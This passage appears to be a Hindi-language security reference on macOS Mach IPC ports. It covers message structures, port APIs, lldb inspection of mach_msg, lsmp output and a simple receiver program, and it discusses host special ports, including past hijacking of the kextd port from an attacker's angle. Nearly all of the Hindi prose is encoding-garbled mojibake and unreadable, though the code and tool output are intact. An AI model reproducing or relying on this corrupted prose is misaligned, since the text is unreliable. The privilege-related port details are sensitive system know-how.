  • msgh_id: рдЗрд╕ рд╕рдВрджреЗрд╢ рдХрд╛ рдЖрдИрдбреА, рдЬрд┐рд╕реЗ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдорд╢ рд╕рдВрджреЗрд╢ рдПрдХ рдорд╢ рдкреЛрд░реНрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рднреЗрдЬреЗ рдЬрд╛рддреЗ рд╣реИрдВ, рдЬреЛ рдорд╢ рдХрд░реНрдирд▓ рдореЗрдВ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдПрдХ рдПрдХрд▓ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛, рдПрдХрд╛рдзрд┐рдХ рднреЗрдЬрдиреЗ рд╡рд╛рд▓рд╛ рд╕рдВрдЪрд╛рд░ рдЪреИрдирд▓ рд╣реИред рдПрдХрд╛рдзрд┐рдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдПрдХ рдорд╢ рдкреЛрд░реНрдЯ рдХреЛ рд╕рдВрджреЗрд╢ рднреЗрдЬ рд╕рдХрддреА рд╣реИрдВ, рд▓реЗрдХрд┐рди рдХрд┐рд╕реА рднреА рд╕рдордп рдХреЗрд╡рд▓ рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдЗрд╕реЗ рдкрдврд╝ рд╕рдХрддреА рд╣реИред

рдЙрд╕рдХреЗ рдмрд╛рдж рд╕рдВрджреЗрд╢ mach_msg_header_t рд╣реЗрдбрд░ рджреНрд╡рд╛рд░рд╛ рдФрд░ рдмреЙрдбреА рджреНрд╡рд╛рд░рд╛ рдФрд░ рдЯреНрд░реЗрд▓рд░ (рдпрджрд┐ рдХреЛрдИ) рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдП рдЬрд╛рддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ рдЙрддреНрддрд░ рджреЗрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреЗ рд╣реИрдВред рдЗрди рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдХрд░реНрдирд▓ рдХреЛ рд╕рд┐рд░реНрдл рдПрдХ рдХрд╛рд░реНрдп рд╕реЗ рджреВрд╕рд░реЗ рдХрд╛рд░реНрдп рддрдХ рд╕рдВрджреЗрд╢ рдкрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред

рдПрдХ рдЯреНрд░реЗрд▓рд░ рдПрдХ рд╕рдВрджреЗрд╢ рдореЗрдВ рдХрд░реНрдирд▓ рджреНрд╡рд╛рд░рд╛ рдЬреЛрдбрд╝реА рдЧрдИ рдЬрд╛рдирдХрд╛рд░реА рд╣реИ (рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рд╕реЗрдЯ рдирд╣реАрдВ рдХреА рдЬрд╛ рд╕рдХрддреА) рдЬрд┐рд╕реЗ рд╕рдВрджреЗрд╢ рдкреНрд░рд╛рдкреНрддрд┐ рдореЗрдВ рдлреНрд▓реИрдЧ MACH_RCV_TRAILER_<trailer_opt> рдХреЗ рд╕рд╛рде рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (рдпрд╣рд╛рдВ рд╡рд┐рднрд┐рдиреНрди рдЬрд╛рдирдХрд╛рд░реА рдЕрдиреБрд░реЛрдз рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ)ред

рдЬрдЯрд┐рд▓ рд╕рдВрджреЗрд╢

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЕрдиреНрдп рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рд╕рдВрджреЗрд╢ рд╣реИрдВ, рдЬреИрд╕реЗ рдЕрддрд┐рд░рд┐рдХреНрдд рдкреЛрд░реНрдЯ рдЕрдзрд┐рдХрд╛рд░ рдпрд╛ рд╕рд╛рдЭрд╛ рдореЗрдореЛрд░реА рдкрд╛рд╕ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ, рдЬрд╣рд╛рдВ рдХрд░реНрдирд▓ рдХреЛ рднреА рдЗрди рд╡рд╕реНрддреБрдУрдВ рдХреЛ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛ рдХреЛ рднреЗрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рд╣реЗрдбрд░ msgh_bits рдХрд╛ рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд┐рдЯ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдкрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╛рд╡рд┐рдд рд╡рд░реНрдгрди mach/message.h рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рд╣реИрдВ:

#define MACH_MSG_PORT_DESCRIPTOR                0
#define MACH_MSG_OOL_DESCRIPTOR                 1
#define MACH_MSG_OOL_PORTS_DESCRIPTOR           2
#define MACH_MSG_OOL_VOLATILE_DESCRIPTOR        3
#define MACH_MSG_GUARDED_PORT_DESCRIPTOR        4

#pragma pack(push, 4)

typedef struct{
natural_t                     pad1;
mach_msg_size_t               pad2;
unsigned int                  pad3 : 24;
mach_msg_descriptor_type_t    type : 8;
} mach_msg_type_descriptor_t;

Mac Ports APIs

рдиреЛрдЯ рдХрд░реЗрдВ рдХрд┐ рдкреЛрд░реНрдЯреНрд╕ рдХреЛ рдЯрд╛рд╕реНрдХ рдиреЗрдорд╕реНрдкреЗрд╕ рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реЛрддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдкреЛрд░реНрдЯ рдмрдирд╛рдиреЗ рдпрд╛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП, рдЯрд╛рд╕реНрдХ рдиреЗрдорд╕реНрдкреЗрд╕ рднреА рдХреНрд╡реЗрд░реА рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА mach/mach_port.h рдореЗрдВ):

  • mach_port_allocate | mach_port_construct: рдПрдХ рдкреЛрд░реНрдЯ рдмрдирд╛рдПрдВред

  • mach_port_allocate рдПрдХ рдкреЛрд░реНрдЯ рд╕реЗрдЯ рднреА рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ: рдПрдХ рд╕рдореВрд╣ рдХреЗ рдкреЛрд░реНрдЯреНрд╕ рдкрд░ рдкреНрд░рд╛рдкреНрддрд┐ рдЕрдзрд┐рдХрд╛рд░ред рдЬрдм рднреА рдПрдХ рд╕рдВрджреЗрд╢ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдЗрд╕рдореЗрдВ рд╕рдВрдХреЗрддрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рд╕рдВрджреЗрд╢ рдХрд┐рд╕ рдкреЛрд░реНрдЯ рд╕реЗ рдЖрдпрд╛ рдерд╛ред

  • mach_port_allocate_name: рдкреЛрд░реНрдЯ рдХрд╛ рдирд╛рдо рдмрджрд▓реЗрдВ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ 32 рдмрд┐рдЯ рдкреВрд░реНрдгрд╛рдВрдХ)

  • mach_port_names: рдПрдХ рд▓рдХреНрд╖реНрдп рд╕реЗ рдкреЛрд░реНрдЯ рдирд╛рдо рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

  • mach_port_type: рдПрдХ рдирд╛рдо рдкрд░ рдЯрд╛рд╕реНрдХ рдХреЗ рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

  • mach_port_rename: рдПрдХ рдкреЛрд░реНрдЯ рдХрд╛ рдирд╛рдо рдмрджрд▓реЗрдВ (рдЬреИрд╕реЗ FDs рдХреЗ рд▓рд┐рдП dup2)

  • mach_port_allocate: рдПрдХ рдирдпрд╛ рдкреНрд░рд╛рдкреНрддрд┐, рдкреЛрд░реНрдЯ рд╕реЗрдЯ рдпрд╛ DEAD_NAME рдЖрд╡рдВрдЯрд┐рдд рдХрд░реЗрдВ

  • mach_port_insert_right: рдЙрд╕ рдкреЛрд░реНрдЯ рдореЗрдВ рдПрдХ рдирдпрд╛ рдЕрдзрд┐рдХрд╛рд░ рдмрдирд╛рдПрдВ рдЬрд┐рд╕ рдкрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рдкреНрд░рд╛рдкреНрддрд┐ рд╣реИ

  • mach_port_...

  • mach_msg | mach_msg_overwrite: mach рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдФрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдлрд╝рдВрдХреНрд╢рдиред рдУрд╡рд░рд░рд╛рдЗрдЯ рд╕рдВрд╕реНрдХрд░рдг рдПрдХ рд╡рд┐рднрд┐рдиреНрди рдмрдлрд╝рд░ рдХреЛ рд╕рдВрджреЗрд╢ рдкреНрд░рд╛рдкреНрддрд┐ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (рджреВрд╕рд░рд╛ рд╕рдВрд╕реНрдХрд░рдг рдЗрд╕реЗ рдмрд╕ рдкреБрдирдГ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛)ред

Debug mach_msg

рдЬреИрд╕реЗ рд╣реА рдлрд╝рдВрдХреНрд╢рди mach_msg рдФрд░ mach_msg_overwrite рдХреЛ рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдФрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЙрди рдкрд░ рдмреНрд░реЗрдХрдкреЙрдЗрдВрдЯ рд╕реЗрдЯ рдХрд░рдиреЗ рд╕реЗ рднреЗрдЬреЗ рдЧрдП рдФрд░ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдП рдЧрдП рд╕рдВрджреЗрд╢реЛрдВ рдХреА рдЬрд╛рдВрдЪ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рднреА рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдбреАрдмрдЧ рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░реЗрдВ рдЬрд┐рд╕реЗ рдЖрдк рдбреАрдмрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ libSystem.B рд▓реЛрдб рдХрд░реЗрдЧрд╛ рдЬреЛ рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ред

__WATCHOS_PROHIBITED __TVOS_PROHIBITED
extern mach_msg_return_t        mach_msg(
mach_msg_header_t *msg,
mach_msg_option_t option,
mach_msg_size_t send_size,
mach_msg_size_t rcv_size,
mach_port_name_t rcv_name,
mach_msg_timeout_t timeout,
mach_port_name_t notify);

рд╡рд┐рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рд╕реЗ рдорд╛рди рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ:

reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6
x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)
x1 = 0x0000000003114207 ;mach_msg_option_t (option)
x2 = 0x0000000000000388 ;mach_msg_size_t (send_size)
x3 = 0x0000000000000388 ;mach_msg_size_t (rcv_size)
x4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)
x5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)
x6 = 0x0000000000000000 ;mach_port_name_t (notify)

рдореИрд╕реЗрдЬ рд╣реЗрдбрд░ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ рдФрд░ рдкрд╣рд▓реЗ рдЖрд░реНрдЧреНрдпреВрдореЗрдВрдЯ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ:

(lldb) x/6w $x0
0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03
0x124e04cf8: 0x00000b07 0x40000322

; 0x00131513 -> mach_msg_bits_t (msgh_bits) = 0x13 (MACH_MSG_TYPE_COPY_SEND) in local | 0x1500 (MACH_MSG_TYPE_MAKE_SEND_ONCE) in remote | 0x130000 (MACH_MSG_TYPE_COPY_SEND) in voucher
; 0x00000388 -> mach_msg_size_t (msgh_size)
; 0x00000807 -> mach_port_t (msgh_remote_port)
; 0x00001f03 -> mach_port_t (msgh_local_port)
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
; 0x40000322 -> mach_msg_id_t (msgh_id)

рдРрд╕реЗ рдкреНрд░рдХрд╛рд░ рдХрд╛ mach_msg_bits_t рдПрдХ рдЙрддреНрддрд░ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рд╕рд╛рдорд╛рдиреНрдп рд╣реИред

рджреНрд╡рд╛рд░реЛрдВ рдХреА рдЧрдгрдирд╛

lsmp -p <pid>

sudo lsmp -p 1
Process (1) : launchd
name      ipc-object    rights     flags   boost  reqs  recv  send sonce oref  qlimit  msgcount  context            identifier  type
---------   ----------  ----------  -------- -----  ---- ----- ----- ----- ----  ------  --------  ------------------ ----------- ------------
0x00000203  0x181c4e1d  send        --------        ---            2                                                  0x00000000  TASK-CONTROL SELF (1) launchd
0x00000303  0x183f1f8d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x00000403  0x183eb9dd  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000051b  0x1840cf3d  send        --------        ---            2        ->        6         0  0x0000000000000000 0x00011817  (380) WindowServer
0x00000603  0x183f698d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000070b  0x175915fd  recv,send   ---GS---     0  ---      1     2         Y        5         0  0x0000000000000000
0x00000803  0x1758794d  send        --------        ---            1                                                  0x00000000  CLOCK
0x0000091b  0x192c71fd  send        --------        D--            1        ->        1         0  0x0000000000000000 0x00028da7  (418) runningboardd
0x00000a6b  0x1d4a18cd  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00006a03  (92247) Dock
0x00000b03  0x175a5d4d  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00001803  (310) logd
[...]
0x000016a7  0x192c743d  recv,send   --TGSI--     0  ---      1     1         Y       16         0  0x0000000000000000
+     send        --------        ---            1         <-                                       0x00002d03  (81948) seserviced
+     send        --------        ---            1         <-                                       0x00002603  (74295) passd
[...]

рдирд╛рдо рдкреЛрд░реНрдЯ рдХрд╛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдирд╛рдо рд╣реИ (рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдкрд╣рд▓реЗ 3 рдмрд╛рдЗрдЯ рдореЗрдВ рдХреИрд╕реЗ рдмрдврд╝ рд░рд╣рд╛ рд╣реИ)ред ipc-object рдкреЛрд░реНрдЯ рдХреА рдЕрд╡рд┐рд╡рд╛рджрд┐рдд рдЕрджреНрд╡рд┐рддреАрдп рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рд╣реИред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдХреЗрд╡рд▓ send рдЕрдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ рдкреЛрд░реНрдЯ рдХреЗ рд╕реНрд╡рд╛рдореА рдХреА рдкрд╣рдЪрд╛рди рдХреИрд╕реЗ рдХреА рдЬрд╛ рд░рд╣реА рд╣реИ (рдкреЛрд░реНрдЯ рдирд╛рдо + pid)ред рдпрд╣рд╛рдБ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ + рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрд╕реА рдкреЛрд░реНрдЯ рд╕реЗ рдЬреБрдбрд╝реЗ рдЕрдиреНрдп рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рджрд░реНрд╢рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред

procesxp рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рдкрдВрдЬреАрдХреГрдд рд╕реЗрд╡рд╛ рдирд╛рдореЛрдВ (SIP рдЕрдХреНрд╖рдо рд╣реЛрдиреЗ рдХреЗ рдХрд╛рд░рдг com.apple.system-task-port рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдиреЗ рдкрд░) рджреЗрдЦрдирд╛ рд╕рдВрднрд╡ рд╣реИ:

procesp 1 ports

рдЖрдк рдЗрд╕ рдЯреВрд▓ рдХреЛ iOS рдореЗрдВ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЗрд╕реЗ http://newosxbook.com/tools/binpack64-256.tar.gz рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдХреЗред

рдХреЛрдб рдЙрджрд╛рд╣рд░рдг

рдиреЛрдЯ рдХрд░реЗрдВ рдХрд┐ рднреЗрдЬрдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рдкреЛрд░реНрдЯ рдЖрд╡рдВрдЯрд┐рдд рдХрд░рддрд╛ рд╣реИ, org.darlinghq.example рдирд╛рдо рдХреЗ рд▓рд┐рдП рдПрдХ рднреЗрдЬрдиреЗ рдХрд╛ рд╣рдХ рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдмреВрдЯрд╕реНрдЯреНрд░реИрдк рд╕рд░реНрд╡рд░ рдХреЛ рднреЗрдЬрддрд╛ рд╣реИ рдЬрдмрдХрд┐ рднреЗрдЬрдиреЗ рд╡рд╛рд▓рд╛ рдЙрд╕ рдирд╛рдо рдХреЗ рднреЗрдЬрдиреЗ рдХрд╛ рд╣рдХ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддрд╛ рд╣реИред

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}

рд╡рд┐рд╢реЗрд╖ рдмрдВрджрд░рдЧрд╛рд╣

рдХреБрдЫ рд╡рд┐рд╢реЗрд╖ рдмрдВрджрд░рдЧрд╛рд╣ рд╣реИрдВ рдЬреЛ рдХрд┐рд╕реА рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдХреБрдЫ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХрд░рдиреЗ рдпрд╛ рдХреБрдЫ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ рдпрджрд┐ рдЙрди рдкрд░ SEND рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реЛред рдЗрд╕рд╕реЗ рдЗрди рдмрдВрджрд░рдЧрд╛рд╣реЛрдВ рдХреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреА рджреГрд╖реНрдЯрд┐ рд╕реЗ рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рдмрдирд╛рддрд╛ рд╣реИ рди рдХреЗрд╡рд▓ рдХреНрд╖рдорддрд╛рдУрдВ рдХреЗ рдХрд╛рд░рдг рдмрд▓реНрдХрд┐ рдЗрд╕рд▓рд┐рдП рдХреНрдпреЛрдВрдХрд┐ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдмреАрдЪ SEND рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рд╕рд╛рдЭрд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдореЗрдЬрдмрд╛рди рд╡рд┐рд╢реЗрд╖ рдмрдВрджрд░рдЧрд╛рд╣

рдпреЗ рдмрдВрджрд░рдЧрд╛рд╣ рдПрдХ рд╕рдВрдЦреНрдпрд╛ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рддрд┐рдирд┐рдзрд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред

SEND рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП host_get_special_port рдХреЛ рдмреБрд▓рд╛рдХрд░ рдФрд░ RECEIVE рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдмреБрд▓рд╛рдХрд░ host_set_special_port рдХреЛ рдмреБрд▓рд╛рдХрд░ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдВрдХрд┐, рджреЛрдиреЛрдВ рдХреЙрд▓реНрд╕ рдХреЛ host_priv рдмрдВрджрд░рдЧрд╛рд╣ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬрд┐рд╕рдХреЛ рдХреЗрд╡рд▓ рд░реВрдЯ рддрдХ рдкрд╣реБрдВрдЪ рд╣реЛрддреА рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдкрд┐рдЫрд▓реЗ рдореЗрдВ рд░реВрдЯ рдХреЛ host_set_special_port рдмреБрд▓рд╛рдиреЗ рдФрд░ рдЕрд╡рд╢реЗрд╖ рдХреЛ рд╣рд╛рдЗрдЬреИрдХ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдереА рдЬрд┐рд╕рд╕реЗ рдХреЛрдб рд╣рд╕реНрддрд╛рдХреНрд╖рд░реЛрдВ рдХреЛ рдЙрд▓рдЯрд╛ рд╕рдХрддрд╛ рдерд╛ рдЬреИрд╕реЗ HOST_KEXTD_PORT рдХреЛ рд╣рд╛рдЗрдЬреИрдХ рдХрд░рдХреЗ (SIP рдЕрдм рдЗрд╕реЗ рд░реЛрдХрддрд╛ рд╣реИ)ред

рдпреЗ 2 рд╕рдореВрд╣реЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рд╣реИрдВ: рдкрд╣рд▓реЗ 7 рдмрдВрджрд░рдЧрд╛рд╣ рдХрд░реНрдиреЗрд▓ рдХреЗ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдореЗрдВ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ 1 HOST_PORT, 2 HOST_PRIV_PORT, 3 HOST_IO_MASTER_PORT рдФрд░ 7 HOST_MAX_SPECIAL_KERNEL_PORT рд╣реИрдВред 8 рд╕реЗ рд╢реБрд░реВ рд╣реЛрдиреЗ рд╡рд╛рд▓реЗ рд╡реЗ рд╕рд┐рд╕реНрдЯрдо рдбреЗрдордиреНрд╕ рдХреЗ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдореЗрдВ рд╣реИрдВ рдФрд░ рдЙрдиреНрд╣реЗрдВ host_special_ports.h рдореЗрдВ рдШреЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

  • рдореЗрдЬрдмрд╛рди рдмрдВрджрд░рдЧрд╛рд╣: рдпрджрд┐ рдХрд┐рд╕реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдкрд╛рд╕ рдЗрд╕ рдмрдВрджрд░рдЧрд╛рд╣ рдкрд░ SEND рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ рддреЛ рд╡рд╣ рдЗрд╕рдХреЗ рд░реВрдЯреАрди рдХреЛ рдмреБрд▓рд╛рдХрд░ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреА рд╣реИ рдЬреИрд╕реЗ:

  • host_processor_info: рдкреНрд░реЛрд╕реЗрд╕рд░ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

  • host_info: рдореЗрдЬрдмрд╛рди рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

  • host_virtual_physical_table_info: рд╡рд░реНрдЪреБрдЕрд▓/рдлрд┐рдЬрд┐рдХрд▓ рдкреЗрдЬ рдЯреЗрдмрд▓ (MACH_VMDEBUG рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ)

  • host_statistics: рдореЗрдЬрдмрд╛рди рд╕рд╛рдВрдЦреНрдпрд┐рдХреА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

  • mach_memory_info: рдХрд░реНрдиреЗрд▓ рдореЗрдореЛрд░реА рд▓реЗрдЖрдЙрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

  • рдореЗрдЬрдмрд╛рди рдирд┐рдЬреА рдмрдВрджрд░рдЧрд╛рд╣: рдЗрд╕ рдмрдВрджрд░рдЧрд╛рд╣ рдкрд░ SEND рдЕрдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реА рдХрд╛рд░реНрд░рд╡рд╛рдИ рдХрд░ рд╕рдХрддреА рд╣реИ рдЬреИрд╕реЗ рдмреВрдЯ рдбреЗрдЯрд╛ рджрд┐рдЦрд╛рдирд╛ рдпрд╛ рдХрд░реНрдиреЗрд▓ рдПрдХреНрд╕рдЯреЗрдВрд╢рди рд▓реЛрдб рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдирд╛ред рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд░реВрдЯ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдЗрд╕ рдЕрдиреБрдорддрд┐ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред

  • рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, kext_request API рдХреЛ рдмреБрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреНрдп entitlements com.apple.private.kext* рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬреЛ рдХреЗрд╡рд▓ Apple binaries рдХреЛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

